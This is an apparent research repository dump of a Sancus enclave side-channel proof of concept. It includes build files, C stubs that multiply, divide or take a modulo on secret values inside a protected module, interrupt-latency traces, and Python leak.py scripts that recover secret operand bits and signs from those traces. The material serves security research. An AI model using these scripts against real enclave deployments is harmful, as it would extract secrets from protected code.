style='normal') 12 | 13 | plt.yticks(np.arange(1, 5, 1)) 14 | 15 | plt.xlabel('Instruction (interrupt number)') 16 | plt.ylabel('IRQ latency (cycles)') 17 | 18 | plt.plot(latencies[start:end], '-r' + o) 19 | plt.savefig(out + '.pdf', bbox_inches='tight') 20 | plt.show() 21 | 22 | latencies = [] 23 | with open('out_parsed.txt', 'r') as fi: 24 | for line in fi: 25 | latencies.append(int(line)) 26 | 27 | plot_trace(latencies, 0, len(latencies), 'keystroke_trace', 12, 2) 28 | plot_trace(latencies, 37, 79, 'keystroke_trace_zoom', 6, 3, 'o') 29 | -------------------------------------------------------------------------------- /sancus/stubs/Makefile: -------------------------------------------------------------------------------- 1 | SUBDIRS = $(shell find * -maxdepth 0 -type d) 2 | SUBDIR_ALL = $(SUBDIRS:=.all) 3 | SUBDIR_SIM = $(SUBDIRS:=.sim) 4 | SUBDIR_CLEAN = $(SUBDIRS:=.clean) 5 | 6 | all: $(SUBDIR_ALL) 7 | sim: $(SUBDIR_SIM) 8 | clean: $(SUBDIR_CLEAN) 9 | 10 | $(SUBDIR_ALL): %.all: 11 | make -C $* all 12 | 13 | $(SUBDIR_SIM): %.sim: 14 | unbuffer make -C $* clean sim | tee sim.out 15 | ! grep -iqE "fail|error:" sim.out 16 | grep -iq "all done; exiting.." sim.out 17 | $*/leak.py sim.out 18 | 19 | 20 | $(SUBDIR_CLEAN): %.clean: 21 | make -C $* clean 22 | -------------------------------------------------------------------------------- /sancus/stubs/Makefile.include: -------------------------------------------------------------------------------- 1 | ifndef SANCUS_DIR 2 | SANCUS_SUPPORT_DIR = "/usr/local/share/sancus-support" 3 | else 4 | SANCUS_SUPPORT_DIR = ${SANCUS_DIR}/share/sancus-support 5 | endif 6 | 7 | ifndef SANCUS_SECURITY 8 | SANCUS_SECURITY = 64 9 | endif 10 | ifeq ($(SANCUS_SECURITY), 64) 11 | SANCUS_KEY = deadbeefcafebabe 12 | else 13 | SANCUS_KEY = deadbeefcafebabec0defeeddefec8ed 14 | endif 15 | 16 | CC = sancus-cc 17 | LD = sancus-ld 18 | SANCUS_CRYPTO = sancus-crypto 19 | SANCUS_SIM = sancus-sim 20 | SANCUS_LOAD = sancus-loader 21 | RM = rm -f 22 | 23 | VENDOR_ID = 1234 24 | RAM_SIZE = 16K 25 | ROM_SIZE = 41K 26 | FPGA_DEV = /dev/ttyUSB0 27 | FPGA_RATE = 115200 28 | 29 | VENDOR_KEY = $(shell $(SANCUS_CRYPTO) --key $(SANCUS_KEY) --gen-vendor-key $(VENDOR_ID) | xxd -p) 30 | MEMFLAGS = --ram $(RAM_SIZE) --rom $(ROM_SIZE) 31 | 32 | CFLAGS = -I$(SANCUS_SUPPORT_DIR)/include/ -Wfatal-errors -fcolor-diagnostics -Os -g 33 | LDFLAGS = -L$(SANCUS_SUPPORT_DIR)/lib/ $(MEMFLAGS) -lsm-io -ldev --inline-arithmetic --standalone --verbose 34 | SIMFLAGS = #$(MEMFLAGS) 35 | CRYPTOFLAGS = --key $(VENDOR_KEY) --verbose 36 | LOADFLAGS = -device $(FPGA_DEV) -baudrate $(FPGA_RATE) 37 | 38 | ifdef TRAVIS 39 | SIMFLAGS += --crypto-noshow 40 | endif 41 | 42 | ifeq ($(QUIET),1) 43 | CFLAGS += -DQUIET 44 | endif 45 | -------------------------------------------------------------------------------- /sancus/stubs/multiplication-stub/Makefile: -------------------------------------------------------------------------------- 1 | include ../Makefile.include 2 | 3 | SOURCES = $(shell ls *.c) 4 | OBJECTS = $(SOURCES:.c=.o) 5 | 6 | TARGET = main.elf 7 | TARGET_NO_MAC = no_mac_$(TARGET) 8 | 9 | all: $(TARGET) 10 | 11 | $(TARGET_NO_MAC): $(OBJECTS) 12 | $(LD) $(LDFLAGS) -lsancus-step -o $@ $^ 13 | 14 | $(TARGET): $(TARGET_NO_MAC) 15 | $(SANCUS_CRYPTO) --fill-macs $(CRYPTOFLAGS) -o $@ $< 16 | 17 | load: $(TARGET) 18 | $(SANCUS_LOAD) $(LOADFLAGS) $< 19 | 20 | sim: $(TARGET) 21 | $(SANCUS_SIM) $(SIMFLAGS) $< 22 | 23 | clean: 24 | $(RM) $(TARGET) $(TARGET_NO_MAC) $(OBJECTS) 25 | rm -f sim-input.bin sim-output.bin 26 | rm -f *.fst *.vcd 27 | -------------------------------------------------------------------------------- /sancus/stubs/multiplication-stub/foo-mul-trace.txt: -------------------------------------------------------------------------------- 1 | 2 | ------ 3 | 4 | 5 | latency: 1 6 | latency: 3 7 | latency: 3 8 | latency: 2 9 | latency: 2 10 | latency: 2 11 | latency: 1 12 | latency: 2 13 | latency: 2 14 | latency: 2 15 | latency: 3 16 | latency: 3 17 | latency: 3 18 | latency: 3 19 | latency: 3 20 | latency: 3 21 | latency: 1 22 | latency: 1 23 | latency: 1 24 | latency: 1 25 | latency: 3 26 | latency: 3 27 | latency: 3 28 | latency: 1 29 | latency: 1 30 | latency: 3 31 | latency: 3 32 | latency: 4 33 | latency: 1 34 | latency: 1 35 | latency: 1 36 | latency: 2 37 | latency: 1 38 | latency: 1 39 | latency: 2 40 | latency: 1 41 | latency: 1 42 | latency: 2 43 | latency: 1 44 | latency: 2 45 | latency: 1 46 | latency: 1 47 | latency: 2 48 | latency: 1 49 | latency: 1 50 | latency: 1 51 | latency: 2 52 | latency: 1 53 | latency: 2 54 | latency: 1 55 | latency: 1 56 | latency: 2 57 | latency: 1 58 | latency: 1 59 | latency: 1 60 | latency: 2 61 | latency: 3 62 | latency: 4 63 | latency: 1 64 | latency: 1 65 | latency: 2 66 | latency: 3 67 | latency: 2 68 | latency: 2 69 | latency: 2 70 | latency: 2 71 | latency: 2 72 | latency: 2 73 | latency: 2 74 | latency: 3 75 | latency: 1 76 | latency: 2 77 | latency: 1 78 | latency: 1 79 | latency: 1 80 | latency: 2 81 | latency: 1 82 | latency: 1 83 | latency: 2 84 | latency: 1 85 | All done! 86 | -------------------------------------------------------------------------------- /sancus/stubs/multiplication-stub/foo-mul.c: -------------------------------------------------------------------------------- 1 | #include "foo-mul.h" 2 | #include 3 | 4 | DECLARE_SM(foo, 0x1234); 5 | 6 | #define FOO_A_CST -0x3f 7 | #define FOO_B_CST 0x6 8 | 9 | int SM_DATA(foo) foo_a; 10 | int SM_DATA(foo) foo_b; 11 | 12 | void SM_ENTRY(foo) init_foo(void) 13 | { 14 | foo_a = FOO_A_CST; 15 | foo_b = FOO_B_CST; 16 | } 17 | 18 | int SM_ENTRY(foo) leak_foo(void) 19 | { 20 | volatile int c = foo_a * foo_b; 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /sancus/stubs/multiplication-stub/foo-mul.h: -------------------------------------------------------------------------------- 1 | #ifndef FOO_H_INC 2 | #define FOO_H_INC 3 | 4 | #include 5 | 6 | extern struct SancusModule foo; 7 | 8 | void SM_ENTRY(foo) init_foo(void); 9 | int SM_ENTRY(foo) leak_foo(void); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /sancus/stubs/multiplication-stub/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | def main(): 4 | import sys 5 | import re 6 | 7 | NB_BITS_INT = 16 8 | 9 | if len(sys.argv) < 2: 10 | print("Usage: {} [-p]".format(sys.argv[0])) 11 | exit() 12 | with open(sys.argv[1], "r") as inFile: 13 | lines = inFile.readlines() 14 | latencies = [] 15 | for line in lines: 16 | if line.startswith("latency:"): 17 | _, latency = line.split(" ") 18 | latencies.append(latency.strip()) 19 | latenciesString = "".join(latencies) 20 | hardened = False 21 | if len(sys.argv) > 2: 22 | if sys.argv[2] == "-p": 23 | hardened = True 24 | multiplicationRegex = "11123|11(12112(1?)112)+(12)?3" 25 | if hardened: 26 | multiplicationRegex = "3211"+"11212112"*16+"23" 27 | multiplicationPattern = re.compile(multiplicationRegex) 28 | multiplicationHit = multiplicationPattern.search(latenciesString) 29 | if multiplicationHit: 30 | multiplicationTrace = multiplicationHit.group() 31 | if hardened: 32 | print("Full trace", multiplicationTrace) 33 | print("Iteration trace", "11212112") 34 | else: 35 | print("Found multiplication") 36 | print("Full trace", multiplicationTrace) 37 | if multiplicationTrace == "11123": 38 | print("a = 0") 39 | print("b = unknown") 40 | else: 41 | multiplicationTrace = multiplicationTrace[2:] # consume the two known instructions at the beginning 42 | bitsOfB = "" 43 | bitEq1Trace = "121121112" 44 | bitEq0Trace = "12112112" 45 | aIsZeroTrace = "123" 46 | while multiplicationTrace.startswith(bitEq1Trace) or multiplicationTrace.startswith(bitEq0Trace): 47 | if multiplicationTrace.startswith(bitEq1Trace): 48 | bitsOfB += "1" 49 | multiplicationTrace = multiplicationTrace[len(bitEq1Trace):] 50 | elif multiplicationTrace.startswith(bitEq0Trace): 51 | bitsOfB += "0" 52 | multiplicationTrace[len(bitEq0Trace):] 53 | multiplicationTrace = multiplicationTrace[len(bitEq0Trace):] 54 | if multiplicationTrace.startswith(aIsZeroTrace): 55 | print("Result overflowed...incorrect result is returned") 56 | print(("partial recovery of b\nb = " + "x"*(16-len(bitsOfB))+"".join(bitsOfB[::-1]))) 57 | else: 58 | print("At least one of the {} least significant bits of a is 1".format(NB_BITS_INT - len(bitsOfB) + 1)) 59 | print("b = {}".format(int(bitsOfB[::-1], 2))) 60 | else: 61 | print("Found no multiplication") 62 | 63 | 64 | if __name__ == "__main__": 65 | main() 66 | -------------------------------------------------------------------------------- /sancus/stubs/multiplication-stub/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "foo-mul.h" 8 | 9 | int main() 10 | { 11 | msp430_io_init(); 12 | sancus_enable(&foo); 13 | init_foo(); 14 | 15 | __ss_start(); 16 | volatile int rv = leak_foo(); 17 | 18 | FINISH(); 19 | } 20 | 21 | /* ======== TIMER A ISR ======== */ 22 | SANCUS_STEP_ISR_ENTRY2(__ss_print_latency, __ss_end) 23 | 24 | -------------------------------------------------------------------------------- /sancus/stubs/signed-division-stub/Makefile: -------------------------------------------------------------------------------- 1 | include ../Makefile.include 2 | 3 | SOURCES = $(shell ls *.c) 4 | OBJECTS = $(SOURCES:.c=.o) 5 | 6 | TARGET = main.elf 7 | TARGET_NO_MAC = no_mac_$(TARGET) 8 | 9 | all: $(TARGET) 10 | 11 | $(TARGET_NO_MAC): $(OBJECTS) 12 | $(LD) $(LDFLAGS) -lsancus-step -o $@ $^ 13 | 14 | $(TARGET): $(TARGET_NO_MAC) 15 | $(SANCUS_CRYPTO) --fill-macs $(CRYPTOFLAGS) -o $@ $< 16 | 17 | load: $(TARGET) 18 | $(SANCUS_LOAD) $(LOADFLAGS) $< 19 | 20 | sim: $(TARGET) 21 | $(SANCUS_SIM) $(SIMFLAGS) $< 22 | 23 | clean: 24 | $(RM) $(TARGET) $(TARGET_NO_MAC) $(OBJECTS) 25 | rm -f sim-input.bin sim-output.bin 26 | rm -f *.fst *.vcd 27 | -------------------------------------------------------------------------------- /sancus/stubs/signed-division-stub/foo-signed-div-trace.txt: -------------------------------------------------------------------------------- 1 | 2 | ------ 3 | 4 | 5 | latency: 1 6 | latency: 3 7 | latency: 3 8 | latency: 2 9 | latency: 2 10 | latency: 2 11 | latency: 1 12 | latency: 2 13 | latency: 2 14 | latency: 2 15 | latency: 3 16 | latency: 3 17 | latency: 3 18 | latency: 3 19 | latency: 3 20 | latency: 3 21 | latency: 1 22 | latency: 1 23 | latency: 1 24 | latency: 1 25 | latency: 3 26 | latency: 3 27 | latency: 3 28 | latency: 1 29 | latency: 1 30 | latency: 3 31 | latency: 3 32 | latency: 4 33 | latency: 1 34 | latency: 1 35 | latency: 2 36 | latency: 2 37 | latency: 1 38 | latency: 1 39 | latency: 1 40 | latency: 2 41 | latency: 3 42 | latency: 4 43 | latency: 2 44 | latency: 1 45 | latency: 1 46 | latency: 1 47 | latency: 1 48 | latency: 1 49 | latency: 2 50 | latency: 1 51 | latency: 2 52 | latency: 1 53 | latency: 1 54 | latency: 1 55 | latency: 2 56 | latency: 1 57 | latency: 2 58 | latency: 1 59 | latency: 1 60 | latency: 1 61 | latency: 2 62 | latency: 1 63 | latency: 2 64 | latency: 1 65 | latency: 1 66 | latency: 1 67 | latency: 2 68 | latency: 1 69 | latency: 2 70 | latency: 1 71 | latency: 1 72 | latency: 1 73 | latency: 2 74 | latency: 1 75 | latency: 2 76 | latency: 1 77 | latency: 1 78 | latency: 1 79 | latency: 2 80 | latency: 1 81 | latency: 2 82 | latency: 1 83 | latency: 1 84 | latency: 1 85 | latency: 2 86 | latency: 1 87 | latency: 2 88 | latency: 1 89 | latency: 1 90 | latency: 1 91 | latency: 2 92 | latency: 1 93 | latency: 2 94 | latency: 1 95 | latency: 1 96 | latency: 1 97 | latency: 2 98 | latency: 1 99 | latency: 2 100 | latency: 1 101 | latency: 1 102 | latency: 1 103 | latency: 2 104 | latency: 1 105 | latency: 2 106 | latency: 1 107 | latency: 1 108 | latency: 1 109 | latency: 2 110 | latency: 1 111 | latency: 2 112 | latency: 1 113 | latency: 1 114 | latency: 1 115 | latency: 2 116 | latency: 1 117 | latency: 2 118 | latency: 1 119 | latency: 1 120 | latency: 1 121 | latency: 2 122 | latency: 1 123 | latency: 1 124 | latency: 1 125 | latency: 2 126 | latency: 1 127 | latency: 1 128 | latency: 1 129 | latency: 2 130 | latency: 1 131 | latency: 2 132 | latency: 1 133 | latency: 1 134 | latency: 1 135 | latency: 2 136 | latency: 1 137 | latency: 1 138 | latency: 1 139 | latency: 2 140 | latency: 1 141 | latency: 1 142 | latency: 1 143 | latency: 2 144 | latency: 1 145 | latency: 2 146 | latency: 3 147 | latency: 2 148 | latency: 1 149 | latency: 2 150 | latency: 1 151 | latency: 1 152 | latency: 1 153 | latency: 2 154 | latency: 1 155 | latency: 1 156 | latency: 3 157 | latency: 4 158 | latency: 1 159 | latency: 1 160 | latency: 2 161 | latency: 3 162 | latency: 2 163 | latency: 2 164 | latency: 2 165 | latency: 2 166 | latency: 2 167 | latency: 2 168 | latency: 2 169 | latency: 3 170 | latency: 1 171 | latency: 2 172 | latency: 1 173 | latency: 1 174 | latency: 1 175 | latency: 2 176 | latency: 1 177 | latency: 1 178 | latency: 2 179 | latency: 1 180 | All done! 181 | -------------------------------------------------------------------------------- /sancus/stubs/signed-division-stub/foo-signed-div.c: -------------------------------------------------------------------------------- 1 | #include "foo-signed-div.h" 2 | #include 3 | 4 | DECLARE_SM(foo, 0x1234); 5 | 6 | #define FOO_A_CST -0x3f 7 | #define FOO_B_CST 0x6 8 | 9 | int SM_DATA(foo) foo_a; 10 | int SM_DATA(foo) foo_b; 11 | 12 | void SM_ENTRY(foo) init_foo(void) 13 | { 14 | foo_a = FOO_A_CST; 15 | foo_b = FOO_B_CST; 16 | } 17 | 18 | int SM_ENTRY(foo) leak_foo(void) 19 | { 20 | volatile int c = foo_a / foo_b; 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /sancus/stubs/signed-division-stub/foo-signed-div.h: -------------------------------------------------------------------------------- 1 | #ifndef FOO_H_INC 2 | #define FOO_H_INC 3 | 4 | #include 5 | 6 | extern struct SancusModule foo; 7 | 8 | void SM_ENTRY(foo) init_foo(void); 9 | int SM_ENTRY(foo) leak_foo(void); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /sancus/stubs/signed-division-stub/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | def main(): 4 | import sys 5 | import re 6 | if len(sys.argv) != 2: 7 | print("Usage: {} ".format(sys.argv[0])) 8 | exit() 9 | with open(sys.argv[1], "r") as inFile: 10 | lines = inFile.readlines() 11 | latencies = [] 12 | for line in lines: 13 | if line.startswith("latency:"): 14 | _, latency = line.split(" ") 15 | latencies.append(latency.strip()) 16 | latenciesString = "".join(latencies) 17 | divRegex = "112(211)?12(111)?34211(1112(11)?12){16}" 18 | divPattern = re.compile(divRegex) 19 | divHit = divPattern.search(latenciesString) 20 | if divHit: 21 | print("Found signed division") 22 | divTrace = divHit.group() 23 | divTrace = divTrace[3:] # consume the three known instructions at the beginning 24 | if divTrace.startswith("211"): 25 | positiveDividend = False 26 | divTrace = divTrace[3:] 27 | else: 28 | positiveDividend = True 29 | divTrace = divTrace[2:] 30 | 31 | if divTrace.startswith("111"): 32 | positiveDivisor = False 33 | divTrace = divTrace[3:] 34 | else: 35 | positiveDivisor = True 36 | divTrace = divTrace[5:] 37 | 38 | bitsOfQuotient = "" 39 | bitEq1Trace = "11121112" 40 | bitEq0Trace = "111212" 41 | while divTrace.startswith(bitEq1Trace) or divTrace.startswith(bitEq0Trace): 42 | if divTrace.startswith(bitEq1Trace): 43 | bitsOfQuotient += "1" 44 | divTrace = divTrace[len(bitEq1Trace):] 45 | elif divTrace.startswith(bitEq0Trace): 46 | bitsOfQuotient += "0" 47 | divTrace[len(bitEq0Trace):] 48 | divTrace = divTrace[len(bitEq0Trace):] 49 | quotient = int(bitsOfQuotient, 2) 50 | remainderIsPositive = True 51 | print("Positive dividend: {}".format(positiveDividend)) 52 | print("Positive divisor: {}".format(positiveDivisor)) 53 | if positiveDividend: 54 | if not positiveDivisor: 55 | quotient = -quotient 56 | else: 57 | remainderIsPositive = False 58 | if positiveDivisor: 59 | quotient = -quotient 60 | 61 | print("quotient = {}".format(quotient)) 62 | print("Positive remainder: {}".format(remainderIsPositive)) 63 | else: 64 | print("Found no signed division") 65 | 66 | 67 | if __name__ == "__main__": 68 | main() 69 | -------------------------------------------------------------------------------- /sancus/stubs/signed-division-stub/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "foo-signed-div.h" 8 | 9 | int main() 10 | { 11 | msp430_io_init(); 12 | sancus_enable(&foo); 13 | init_foo(); 14 | 15 | __ss_start(); 16 | volatile int rv = leak_foo(); 17 | 18 | FINISH(); 19 | } 20 | 21 | /* ======== TIMER A ISR ======== */ 22 | SANCUS_STEP_ISR_ENTRY2(__ss_print_latency, __ss_end) 23 | -------------------------------------------------------------------------------- /sancus/stubs/signed-modulo-stub/Makefile: -------------------------------------------------------------------------------- 1 | include ../Makefile.include 2 | 3 | SOURCES = $(shell ls *.c) 4 | OBJECTS = $(SOURCES:.c=.o) 5 | 6 | TARGET = main.elf 7 | TARGET_NO_MAC = no_mac_$(TARGET) 8 | 9 | all: $(TARGET) 10 | 11 | $(TARGET_NO_MAC): $(OBJECTS) 12 | $(LD) $(LDFLAGS) -lsancus-step -o $@ $^ 13 | 14 | $(TARGET): $(TARGET_NO_MAC) 15 | $(SANCUS_CRYPTO) --fill-macs $(CRYPTOFLAGS) -o $@ $< 16 | 17 | load: $(TARGET) 18 | $(SANCUS_LOAD) $(LOADFLAGS) $< 19 | 20 | sim: $(TARGET) 21 | $(SANCUS_SIM) $(SIMFLAGS) $< 22 | 23 | clean: 24 | $(RM) $(TARGET) $(TARGET_NO_MAC) $(OBJECTS) 25 | rm -f sim-input.bin sim-output.bin 26 | rm -f *.fst *.vcd 27 | -------------------------------------------------------------------------------- /sancus/stubs/signed-modulo-stub/foo-signed-mod-trace.txt: -------------------------------------------------------------------------------- 1 | 2 | ------ 3 | 4 | 5 | latency: 1 6 | latency: 3 7 | latency: 3 8 | latency: 2 9 | latency: 2 10 | latency: 2 11 | latency: 1 12 | latency: 2 13 | latency: 2 14 | latency: 2 15 | latency: 3 16 | latency: 3 17 | latency: 3 18 | latency: 3 19 | latency: 3 20 | latency: 3 21 | latency: 1 22 | latency: 1 23 | latency: 1 24 | latency: 1 25 | latency: 3 26 | latency: 3 27 | latency: 3 28 | latency: 1 29 | latency: 1 30 | latency: 3 31 | latency: 3 32 | latency: 4 33 | latency: 4 34 | latency: 1 35 | latency: 1 36 | latency: 2 37 | latency: 2 38 | latency: 1 39 | latency: 1 40 | latency: 1 41 | latency: 2 42 | latency: 3 43 | latency: 4 44 | latency: 2 45 | latency: 1 46 | latency: 1 47 | latency: 1 48 | latency: 1 49 | latency: 1 50 | latency: 2 51 | latency: 1 52 | latency: 2 53 | latency: 1 54 | latency: 1 55 | latency: 1 56 | latency: 2 57 | latency: 1 58 | latency: 2 59 | latency: 1 60 | latency: 1 61 | latency: 1 62 | latency: 2 63 | latency: 1 64 | latency: 2 65 | latency: 1 66 | latency: 1 67 | latency: 1 68 | latency: 2 69 | latency: 1 70 | latency: 2 71 | latency: 1 72 | latency: 1 73 | latency: 1 74 | latency: 2 75 | latency: 1 76 | latency: 2 77 | latency: 1 78 | latency: 1 79 | latency: 1 80 | latency: 2 81 | latency: 1 82 | latency: 2 83 | latency: 1 84 | latency: 1 85 | latency: 1 86 | latency: 2 87 | latency: 1 88 | latency: 2 89 | latency: 1 90 | latency: 1 91 | latency: 1 92 | latency: 2 93 | latency: 1 94 | latency: 2 95 | latency: 1 96 | latency: 1 97 | latency: 1 98 | latency: 2 99 | latency: 1 100 | latency: 2 101 | latency: 1 102 | latency: 1 103 | latency: 1 104 | latency: 2 105 | latency: 1 106 | latency: 2 107 | latency: 1 108 | latency: 1 109 | latency: 1 110 | latency: 2 111 | latency: 1 112 | latency: 2 113 | latency: 1 114 | latency: 1 115 | latency: 1 116 | latency: 2 117 | latency: 1 118 | latency: 2 119 | latency: 1 120 | latency: 1 121 | latency: 1 122 | latency: 2 123 | latency: 1 124 | latency: 1 125 | latency: 1 126 | latency: 2 127 | latency: 1 128 | latency: 1 129 | latency: 1 130 | latency: 2 131 | latency: 1 132 | latency: 2 133 | latency: 1 134 | latency: 1 135 | latency: 1 136 | latency: 2 137 | latency: 1 138 | latency: 1 139 | latency: 1 140 | latency: 2 141 | latency: 1 142 | latency: 1 143 | latency: 1 144 | latency: 2 145 | latency: 1 146 | latency: 2 147 | latency: 3 148 | latency: 2 149 | latency: 1 150 | latency: 2 151 | latency: 1 152 | latency: 1 153 | latency: 1 154 | latency: 2 155 | latency: 1 156 | latency: 1 157 | latency: 3 158 | latency: 1 159 | latency: 3 160 | latency: 4 161 | latency: 1 162 | latency: 1 163 | latency: 2 164 | latency: 3 165 | latency: 2 166 | latency: 2 167 | latency: 2 168 | latency: 2 169 | latency: 2 170 | latency: 2 171 | latency: 2 172 | latency: 3 173 | latency: 1 174 | latency: 2 175 | latency: 1 176 | latency: 1 177 | latency: 1 178 | latency: 2 179 | latency: 1 180 | latency: 1 181 | latency: 2 182 | latency: 1 183 | All done! 184 | -------------------------------------------------------------------------------- /sancus/stubs/signed-modulo-stub/foo-signed-mod.c: -------------------------------------------------------------------------------- 1 | #include "foo-signed-mod.h" 2 | #include 3 | 4 | DECLARE_SM(foo, 0x1234); 5 | 6 | #define FOO_A_CST -0x3f 7 | #define FOO_B_CST 0x6 8 | 9 | int SM_DATA(foo) foo_a; 10 | int SM_DATA(foo) foo_b; 11 | 12 | void SM_ENTRY(foo) init_foo(void) 13 | { 14 | foo_a = FOO_A_CST; 15 | foo_b = FOO_B_CST; 16 | } 17 | 18 | int SM_ENTRY(foo) leak_foo(void) 19 | { 20 | volatile int c = foo_a % foo_b; 21 | return 0; 22 | } 23 | -------------------------------------------------------------------------------- /sancus/stubs/signed-modulo-stub/foo-signed-mod.h: -------------------------------------------------------------------------------- 1 | #ifndef FOO_H_INC 2 | #define FOO_H_INC 3 | 4 | #include 5 | 6 | extern struct SancusModule foo; 7 | 8 | void SM_ENTRY(foo) init_foo(void); 9 | int SM_ENTRY(foo) leak_foo(void); 10 | 11 | #endif 12 | -------------------------------------------------------------------------------- /sancus/stubs/signed-modulo-stub/leak.py: -------------------------------------------------------------------------------- 1 | #!/usr/bin/python3 2 | 3 | def main(): 4 | import sys 5 | import re 6 | if len(sys.argv) != 2: 7 | print("Usage: {} ".format(sys.argv[0])) 8 | exit() 9 | with open(sys.argv[1], "r") as inFile: 10 | lines = inFile.readlines() 11 | latencies = [] 12 | for line in lines: 13 | if line.startswith("latency:"): 14 | _, latency = line.split(" ") 15 | latencies.append(latency.strip()) 16 | latenciesString = "".join(latencies) 17 | divRegex = "4112(211)?12(111)?34211(1112(11)?12){16}" 18 | divPattern = re.compile(divRegex) 19 | divHit = divPattern.search(latenciesString) 20 | if divHit: 21 | print("Found signed modulo") 22 | divTrace = divHit.group() 23 | divTrace = divTrace[4:] # consume the three known instructions at the beginning 24 | if divTrace.startswith("211"): 25 | positiveDividend = False 26 | divTrace = divTrace[3:] 27 | else: 28 | positiveDividend = True 29 | divTrace = divTrace[2:] 30 | 31 | if divTrace.startswith("111"): 32 | positiveDivisor = False 33 | divTrace = divTrace[3:] 34 | else: 35 | positiveDivisor = True 36 | divTrace = divTrace[5:] 37 | 38 | bitsOfQuotient = "" 39 | bitEq1Trace = "11121112" 40 | bitEq0Trace = "111212" 41 | while divTrace.startswith(bitEq1Trace) or divTrace.startswith(bitEq0Trace): 42 | if divTrace.startswith(bitEq1Trace): 43 | bitsOfQuotient += "1" 44 | divTrace = divTrace[len(bitEq1Trace):] 45 | elif divTrace.startswith(bitEq0Trace): 46 | bitsOfQuotient += "0" 47 | divTrace[len(bitEq0Trace):] 48 | divTrace = divTrace[len(bitEq0Trace):] 49 | quotient = int(bitsOfQuotient, 2) 50 | remainderIsPositive = True 51 | print("Positive dividend: {}".format(positiveDividend)) 52 | print("Positive divisor: {}".format(positiveDivisor)) 53 | if positiveDividend: 54 | if not positiveDivisor: 55 | quotient = -quotient 56 | else: 57 | remainderIsPositive = False 58 | if positiveDivisor: 59 | quotient = -quotient 60 | 61 | print("quotient = {}".format(quotient)) 62 | print("Positive remainder: {}".format(remainderIsPositive)) 63 | else: 64 | print("Found no signed division") 65 | 66 | 67 | if __name__ == "__main__": 68 | main() 69 | -------------------------------------------------------------------------------- /sancus/stubs/signed-modulo-stub/main.c: -------------------------------------------------------------------------------- 1 | #include 2 | #include 3 | #include 4 | #include 5 | #include 6 | #include 7 | #include "foo-signed-mod.h" 8 | 9 | int main() 10 | { 11 | msp430_io_init(); 12 | sancus_enable(&foo); 13 | init_foo(); 14 | 15 | __ss_start(); 16 | volatile int rv = leak_foo(); 17 | 18 | FINISH(); 19 | } 20 | 21 | /* ======== TIMER A ISR ======== */ 22 | SANCUS_STEP_ISR_ENTRY2(__ss_print_latency, __ss_end) 23 | 24 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-division-stub/Makefile: -------------------------------------------------------------------------------- 1 | include ../Makefile.include 2 | 3 | SOURCES = $(shell ls *.c) 4 | OBJECTS = $(SOURCES:.c=.o) 5 | 6 | TARGET = main.elf 7 | TARGET_NO_MAC = no_mac_$(TARGET) 8 | 9 | all: $(TARGET) 10 | 11 | $(TARGET_NO_MAC): $(OBJECTS) 12 | $(LD) $(LDFLAGS) -lsancus-step -o $@ $^ 13 | 14 | $(TARGET): $(TARGET_NO_MAC) 15 | $(SANCUS_CRYPTO) --fill-macs $(CRYPTOFLAGS) -o $@ $< 16 | 17 | load: $(TARGET) 18 | $(SANCUS_LOAD) $(LOADFLAGS) $< 19 | 20 | sim: $(TARGET) 21 | $(SANCUS_SIM) $(SIMFLAGS) $< 22 | 23 | clean: 24 | $(RM) $(TARGET) $(TARGET_NO_MAC) $(OBJECTS) 25 | rm -f sim-input.bin sim-output.bin 26 | rm -f *.fst *.vcd 27 | -------------------------------------------------------------------------------- /sancus/stubs/unsigned-division-stub/foo-unsigned-div-trace.txt: -------------------------------------------------------------------------------- 1 | 2 | ------ 3 | 4 | 5 | latency: 1 6 | latency: 3 7 | latency: 3 8 | latency: 2 9 | latency: 2 10 | latency: 2 11 | latency: 1 12 | latency: 2 13 | latency: 2 14 | latency: 2 15 | latency: 3 16 | latency: 3 17 | latency: 3 18 | latency: 3 19 | latency: 3 20 | latency: 3 21 | latency: 1 22 | latency: 1 23 | latency: 1 24 | latency: 1 25 | latency: 3 26 | latency: 3 27 | latency: 3 28 | latency: 1 29 | latency: 1 30 | latency: 3 31 | latency: 3 32 | latency: 4 33 | latency: 2 34 | latency: 1 35 | latency: 1 36 | latency: 1 37 | latency: 1 38 | latency: 1 39 | latency: 2 40 | latency: 1 41 | latency: 2 42 | latency: 1 43 | latency: 1 44 | latency: 1 45 | latency: 2 46 | latency: 1 47 | latency: 2 48 | latency: 1 49 | latency: 1 50 | latency: 1 51 | latency: 2 52 | latency: 1 53 | latency: 2 54 | latency: 1 55 | latency: 1 56 | latency: 1 57 | latency: 2 58 | latency: 1 59 | latency: 2 60 | latency: 1 61 | latency: 1 62 | latency: 1 63 | latency: 2 64 | latency: 1 65 | latency: 2 66 | latency: 1 67 | latency: 1 68 | latency: 1 69 | latency: 2 70 | latency: 1 71 | latency: 2 72 | latency: 1 73 | latency: 1 74 | latency: 1 75 | latency: 2 76 | latency: 1 77 | latency: 2 78 | latency: 1 79 | latency: 1 80 | latency: 1 81 | latency: 2 82 | latency: 1 83 | latency: 2 84 | latency: 1 85 | latency: 1 86 | latency: 1 87 | latency: 2 88 | latency: 1 89 | latency: 2 90 | latency: 1 91 | latency: 1 92 | latency: 1 93 | latency: 2 94 | latency: 1 95 | latency: 2 96 | latency: 1 97 | latency: 1 98 | latency: 1 99 | latency: 2 100 | latency: 1 101 | latency: 2 102 | latency: 1 103 | latency: 1 104 | latency: 1 105 | latency: 2 106 | latency: 1 107 | latency: 2 108 | latency: 1 109 | latency: 1 110 | latency: 1 111 | latency: 2 112 | latency: 1 113 | latency: 1 114 | latency: 1 115 | latency: 2 116 | latency: 1 117 | latency: 1 118 | latency: 1 119 | latency: 2 120 | latency: 1 121 | latency: 2 122 | latency: 1 123 | latency: 1 124 | latency: 1 125 | latency: 2 126 | latency: 1 127 | latency: 1 128 | latency: 1 129 | latency: 2 130 | latency: 1 131 | latency: 1 132 | latency: 1 133 | latency: 2 134 | latency: 1 135 | latency: 2 136 | latency: 3 137 | latency: 4 138 | latency: 1 